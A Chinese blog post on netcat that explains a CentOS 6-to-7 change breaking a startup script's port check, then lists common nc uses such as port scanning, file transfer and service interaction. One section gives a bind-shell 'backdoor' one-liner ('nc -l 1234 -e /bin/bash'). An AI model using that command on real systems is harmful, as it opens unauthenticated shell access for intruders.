好玩的nc命令

1.引子

一个应用的启动脚本在6上正常,但在7上就不正常了,检查后发现是nc在6和7上的使用方式发生了变化,如下是在6上的一段启动脚本

nohup java ...  &        //1.启动java进程并放到后台

COUNT=0
while [ $COUNT -lt 1 ]; do  //2.循环检查标志端口是否起来
    echo -e ".\c"
    sleep 1
    if [ -n "$SERVER_PORT" ]; then
        if [ "$SERVER_PROTOCOL" == "dubbo" ]; then
            COUNT=`echo status | nc -i 1 127.0.0.1 $SERVER_PORT | grep -c OK`    //需要改动的地方
        else
            COUNT=`netstat -an | grep $SERVER_PORT | wc -l`
        fi
    else
        COUNT=`ps -f | grep java | grep "$DEPLOY_DIR" | awk '{print $2}' | wc -l`
    fi
    if [ $COUNT -gt 0 ]; then
        break
    fi
done

echo "OK!"

上一行在7上改为如下

COUNT=`(echo status;sleep 1) | nc 127.0.0.1 $SERVER_PORT  2> /dev/null | grep -c OK` 

下面来解释一下:

1. nc的交互

nc交互.png

2.首先在6上man nc,参数i其解释为: specifies a delay time interval between lines of text sent and received(指定发送和接收的文本行之间的延迟时间间隔),但是在7上其作用已经发生了变化
直接使用echo status | nc 127.0.0.1 21553没有任何结果
这样我们明白了,我们通过(echo status;sleep 1) | nc ... 完成了"发送和接收的交互",只发送数据而"不延迟这一次交互的时间"是无法收到结果的

3.为何要在7上增加 2> /dev/null ?:因为在7上如果端口没有被监听是会有错误输出结果的,而在6上没有任何输出,所以将错误输出重定向了

nc报错输出结果.png

2. nc的使用

因为nc在不同的系统版本上用法是不一样的,所以在具体的使用场景下需要具体对待
参考文档: https://linux.cn/article-9190-1.html

1.端口扫描

$ nc -v -z -w 3 ip_addr port

# 但CentOS7新版的nc命令已取消了-z, 需输入重定向 < /dev/null
# 此方法在旧版本和新版本上都适用
$ nc -v ip_addr port </dev/null

2.客户端/服务端模式

# 在一个控制台,使用nc监听一个指定端口
$ nc -l 1234
# 在第二个控制台(或者第二台机器上),连接到监听的机器和端口上
$ nc 192.168.181.129 1234

端口间就会有个连接了。第二个控制端上面的任何输入都会传送到第一个上面,反之亦然。
在连接被建立之后,nc是不管哪边是服务端哪边是客户端的。使用EOF(‘^D’)可以中断连接。

3.传输文件和目录

3.1 将文件传到服务器监听的端口上
使用nc监听一个端口,捕捉到的输出重定向到一个文件中
$ nc -l 1234 > filename.out

第二台机器,连接到nc进程,导入一个文件数据来传输
$ nc host.example.com 1234 < filename.in

3.2 将文件传到本地服务器监听的端口上
使用nc监听一个端口,并将文件传入

$ nc -l 1234 < file_in

# 新版本的nc通过--send-only 选项指定文件传送完后关闭连接
$ nc -l 1234 --send-only < hh.py

第二台机器,连接到nc进程,指定一个文件名来接收

$ nc ip_addr 1234 > file_out

# 新版本的nc通过--recv-only 选项指定文件接收完后关闭连接
$ nc 192.168.181.129 1234 --recv-only > aaaa

4.与服务交互

有时候手动与服务器交互相比较使用用户接口是比较有用的。在troubleshooting的时候很有帮助。比如,接收web站点的主页时:
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
比如最开始的脚本中的这一行(echo status;sleep 1) | nc 127.0.0.1 $SERVER_PORT就是与服务的交互

5.通过nc创建后门

创建后门的命令为(在6上没找到这个功能):
nc -l 1234 -e /bin/bash

创建后门:



连接已创建后门的服务器:


6.通过nc进行端口转发
略

以上是nc的一些常用用法,还有一些其他用法可自行搜索

最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 5,081评论 0赞 11
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 6,413评论 0赞 10
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 3,058评论 0赞 8
  • win7 cmd管理员权限设置 net localgroup administrators 用户名 /add 把“...
    f675b1a02698阅读 5,561评论 0赞 11
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    Littleston阅读 3,488评论 0赞 12

友情链接更多精彩内容